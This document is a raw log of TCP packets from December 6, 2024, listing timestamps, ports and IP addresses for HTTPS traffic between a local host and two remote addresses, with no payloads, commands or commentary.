Dec 6, 2024 22:19:38.377300978 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.378279924 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.378340006 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.381067991 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.381133080 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.382905960 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.382962942 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.384850979 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.384922028 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.391128063 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.391163111 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.391195059 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.391199112 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.391243935 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.391262054 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.392968893 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.393038034 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.398729086 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.398746967 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.398823023 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.398830891 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.398871899 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.400612116 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.400667906 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.401968002 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.402021885 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.408345938 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.408364058 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.408425093 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.408431053 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.408469915 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.420600891 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.420624971 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.420711994 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.420720100 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.420764923 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.561975002 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.562016010 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.562076092 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.562083960 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.562117100 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.563946009 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.564011097 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.564018011 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.564059019 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.566600084 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.566660881 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.573093891 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.573112011 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.573167086 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.573173046 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.578830004 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.578851938 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.578907967 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.578917027 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.578927040 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.585319996 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.585335970 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.585397959 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.585410118 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.591680050 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.591705084 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.591749907 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.591758013 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.591780901 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.596950054 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.596990108 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.597023964 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.597028971 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.597052097 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.602519035 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.602538109 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.602595091 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.602605104 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.602646112 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.614087105 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.614108086 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.614200115 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.614207029 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.614250898 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.754415035 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.754559994 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.756968975 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.757153988 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.760704994 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.760806084 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.760816097 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.760868073 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.763648033 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.763714075 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.763720989 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.769961119 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.769978046 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.770035028 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.770044088 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.776520967 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.776535988 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.776596069 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.776603937 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.776642084 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.782320023 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.782334089 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.782387972 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.782394886 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.784084082 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.784140110 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.784147024 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.788090944 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.788129091 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.788155079 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.788161039 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.788209915 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.791807890 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.791845083 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.791881084 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.791889906 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.791990042 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.795528889 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.795572042 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.795594931 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.795599937 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.795638084 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.805957079 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.805999041 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.806031942 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.806035995 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.806086063 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.946182966 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.946230888 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.946295977 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.946300983 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.946425915 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.949871063 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.949914932 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.949964046 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.949969053 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.950014114 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.953563929 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.953598976 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.953635931 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.953640938 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.953681946 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.955436945 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.955512047 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.959137917 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.959178925 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.959202051 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.959206104 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.959224939 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.965626955 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.965642929 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.965730906 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.965738058 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.966733932 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.966788054 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.966794968 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.966836929 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.970448971 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.970480919 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.970505953 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.970510960 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.970551968 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.976967096 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.976982117 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.977041006 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.977051020 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.977091074 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.982991934 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.983010054 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.983068943 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.983076096 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.983119011 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.995733023 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.995754004 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.995827913 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:38.995836020 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:38.995877028 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:39.138238907 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:39.138257027 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:39.138361931 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:39.138370037 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:39.138430119 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:39.142810106 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:39.142848969 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:39.142883062 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:39.142887115 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:39.142935038 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:39.142962933 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:39.144625902 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:39.144694090 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:39.146490097 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:39.146553993 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:39.149310112 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:39.149377108 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:39.151204109 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:39.151262999 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:39.156614065 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:39.156651020 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:39.156681061 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:39.156688929 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:39.156702995 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:39.161245108 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:39.161293983 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:39.161314964 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:39.161322117 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:39.161350012 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:39.164012909 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:39.167778969 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:39.167795897 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:39.167861938 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:39.167870045 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:39.167911053 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:39.173774004 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:39.173789024 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:39.173856974 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:39.173862934 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:39.173913002 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:39.174863100 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:39.174912930 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:39.174917936 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:39.174937010 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:39.174959898 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:39.175004959 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:39.175057888 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:39.175072908 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:39.175081968 CET	49730	443	192.168.2.4	104.21.40.3
Dec 6, 2024 22:19:39.175088882 CET	443	49730	104.21.40.3	192.168.2.4
Dec 6, 2024 22:19:40.124891043 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:40.124929905 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:40.125178099 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:40.134157896 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:40.134171963 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:41.743737936 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:41.743869066 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:41.837635994 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:41.837657928 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:41.838030100 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:41.838092089 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:41.842601061 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:41.887339115 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:42.414638996 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:42.414665937 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:42.414772987 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:42.414789915 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:42.414832115 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:42.655802965 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:42.655818939 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:42.655864000 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:42.655913115 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:42.655936003 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:42.655963898 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:42.655987978 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:42.778608084 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:42.778630018 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:42.778711081 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:42.778724909 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:42.778760910 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:42.831612110 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:42.831631899 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:42.831681967 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:42.831690073 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:42.831717014 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:42.831732035 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:42.881793022 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:42.881812096 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:42.881892920 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:42.881917000 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:42.881958008 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:42.929075956 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:42.929100037 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:42.929182053 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:42.929205894 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:42.929250002 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:42.974782944 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:42.974809885 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:42.974859953 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:42.974868059 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:42.974921942 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.003926039 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.003942966 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.004103899 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.004128933 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.004309893 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.034362078 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.034379005 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.034493923 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.034493923 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.034562111 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.034636021 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.077303886 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.077332973 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.077411890 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.077438116 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.077461958 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.077485085 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.094490051 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.094511032 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.094676971 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.094703913 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.094750881 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.108998060 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.109014988 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.109080076 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.109088898 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.109129906 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.126775026 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.126791954 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.126848936 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.126858950 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.126909971 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.149734020 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.149751902 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.149823904 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.149849892 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.149866104 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.149888992 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.163199902 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.163218975 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.163294077 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.163304090 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.163425922 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.179908037 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.179925919 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.179982901 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.179991961 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.180020094 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.180032015 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.205298901 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.205321074 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.205388069 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.205395937 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.205440998 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.263376951 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.263401031 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.263456106 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.263463020 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.263499022 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.263514042 CET	49731	443	192.168.2.4	185.234.216.175
Dec 6, 2024 22:19:43.273272991 CET	443	49731	185.234.216.175	192.168.2.4
Dec 6, 2024 22:19:43.273288965 CET	443	49731	185.234.216.175	192.168.2.4
